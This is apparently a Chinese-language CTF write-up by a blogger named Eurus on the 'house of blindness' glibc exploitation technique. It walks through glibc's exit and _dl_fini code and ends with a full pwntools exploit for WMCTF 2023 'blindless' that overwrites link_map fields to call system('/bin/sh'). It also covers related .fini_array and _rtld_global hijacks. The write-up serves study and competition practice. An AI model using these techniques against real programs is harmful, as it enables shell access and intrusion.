house of blindness

pwn手坐大牢的wm/(ㄒoㄒ)/~~乖乖来复现了,这题比赛的时候二十几解死活做不出来就很难受

ps:真的是house太多了买不起……

其他的exit利用方法

更改.fini_array

elf文件中会存在一个.fini_array段

在exit的时候会调用__do_global_dtors_aux_fini_array_entry指向的函数__do_global_dtors_aux

所以可以更改__do_global_dtors_aux_fini_array_entry的内容为system(‘/bin/sh’),之前见过一道用这种方法进行循环执行的题(但只能循环一次)

__rtld_lock_unlock_recursive劫持

exit的时候存在调用流程

1
2
exit->__run_exit_handlers->_dl_fini->_rtld_global._dl_rtld_lock_recursive
->_rtld_global._dl_rtld_unlock_recursive

所以可以更改_rtld_global的_dl_rtld_unlock_recursive成员或者_dl_rtld_lock_recursive成员为system地址或者one_gadget地址

调用_rtld_global._dl_rtld_lock_recursive时的参数rdi是_rtld_global._dl_load_lock.mutex,可以改为/bin/sh

这道题也可以更改_rtld_global,但ld中的_rtld_global和libc中的system距离太远,存在一个4096的爆破,这概率对于我这种非酋来说等于0(╯‵□′)╯︵┻━┻

house of blindness

先让我们来探究一下exit的流程,比如它到底是怎么调用.fini_array的

exit调用.fini_array流程

  • exit函数直接调用__run_exit_handlers

    1
    2
    3
    4
    5
    6
    void
    exit (int status)
    {
    __run_exit_handlers (status, &__exit_funcs, true, true);
    }
    libc_hidden_def (exit)
  • exit传给__run_exit_handlers的__exit_funcs指向initial

    接下来__run_exit_handlers会遍历initial的fns数组,当flavor==ef_cxa(4)时会解密f->func.cxa.fn指针并调用这个函数,就是_dl_fini

    1
    2
    3
    4
    5
    6
    7
    8
    enum
    {
    ef_free, /* `ef_free' MUST be zero! */
    ef_us,
    ef_on,
    ef_at,
    ef_cxa
    };

    ps:我当时想过这里能不能利用,但发现这个加密后就放弃了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    	    case ef_cxa:
    /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
    we must mark this function as ef_free. */
    f->flavor = ef_free;
    cxafct = f->func.cxa.fn;
    #ifdef PTR_DEMANGLE
    PTR_DEMANGLE (cxafct);
    #endif
    cxafct (f->func.cxa.arg, status);
    break;

    这个加密的数据来自fs:[0x30],和canary差不多

  • _dl_fini中调用_dl_rtld_lock_recursive和_dl_rtld_unlock_recursive的地方就是这里

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
          /* Protect against concurrent loads and unloads.  */
    __rtld_lock_lock_recursive (GL(dl_load_lock));

    unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
    /* No need to do anything for empty namespaces or those used for
    auditing DSOs. */
    if (nloaded == 0
    #ifdef SHARED
    || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
    #endif
    )
    __rtld_lock_unlock_recursive (GL(dl_load_lock));

    这里还有一个地址跳转

    1
    2
    while (i-- > 0)
    ((fini_t) array[i]) ();

    这个就是调用.fini_array的地方

细看一下调用这个地址跳转的过程(link_map结构体介绍见ret2dlresolve)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
	  struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
/*
* 遍历_rtld_global中的所有link_map,放入maps
* link_map的遍历是按照_rtld_global[i]->_ns_loaded来的,这个成员的类型是一个link_map指针
* struct rtld_global
* {
* EXTERN struct link_namespaces
* {
* struct link_map *_ns_loaded;
* unsigned int _ns_nloaded;
* ……
*/
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

/* 排序maps中的结构 */
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);
……

for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* 确保只能调用一次 */
l->l_init_called = 0;

/* 确保.fini_array段或fini函数段描述符不为空 */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| l->l_info[DT_FINI] != NULL)
{

……

/* 如果.fini_array段不为空,则使用.fini_array的指针调用fini函数 */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
/* 使用基址(l->l_addr)和偏移(d_un.d_ptr)计算.fini_array地址 */
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
/* 计算.fini_array段大小且令其=i */
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0) // 调用fini函数
((fini_t) array[i]) ();
}

/* 如果.fini_array段为空,则直接调用fini函数 */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

……

例题:WMCTF - 2023 - blindless

利用的就是.fini_array段为空,则直接调用fini函数的分支

根据hint,我们可以申请一个大的data chunk(大于0x100000),这样就会调用mmap分配堆块,分配的堆块就在libc下方,libc和ld的相对地址是固定的,就可以通过越界写更改

我们可以更改elf的link_map(在ld里)

  • 更改_rtld_global._dl_load_lock.mutex为/bin/sh
  • 更改l_addr为.init和system的plt的差值
  • 更改l_info[DT_FINI]为l_info[DT_INIT]的值
  • 更改l_info[DT_FINI_ARRAY]的值为0

为什么要这么构造?

  • .fini段的地址是0x1558,backdoor和system的plt的地址都在它之下,但改l_addr只能往后改不能往前改,所以要使l_info[DT_FINI]指向一个靠前的地址,这里我选则了l_info[DT_INIT](0x1000)

  • 使用system(‘/bin/sh’)而不是调用backdoor是因为

    • system的plt和.init的差值为0xe0
    • backdoor和.init的差值为0x209

    如果要使用backdoor就要改两字节,涉及一个1/16的爆破,对我来说爆破能没有最好没有:)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.os='linux'

def write(offset, value):
code = b''
code += b'@'
code += p32(offset)
for i in value:
code += b'.'
code += p8(i)
code += b'>'
return code

p = process('./main')
p.sendlineafter(b'Pls input the data size\n', str(0x100000).encode())
code = write(0x325958, b'/bin/sh\x00')
code += write(0x326180-0x325958-8, b'\xe0')
code += write(0x326228-0x326180-1, b'\x10')
code += write(0x326290-0x326228-1,p64(0))
p.sendlineafter(b'Pls input the code size\n', str(len(code)+1).encode())
#gdb.attach(p)
p.sendlineafter(b'Pls input your code\n', code+b'q')
p.interactive()

house of blindness
http://akaieurus.github.io/2023/08/23/house-of-blindness/
作者
Eurus
发布于
2023年8月23日
许可协议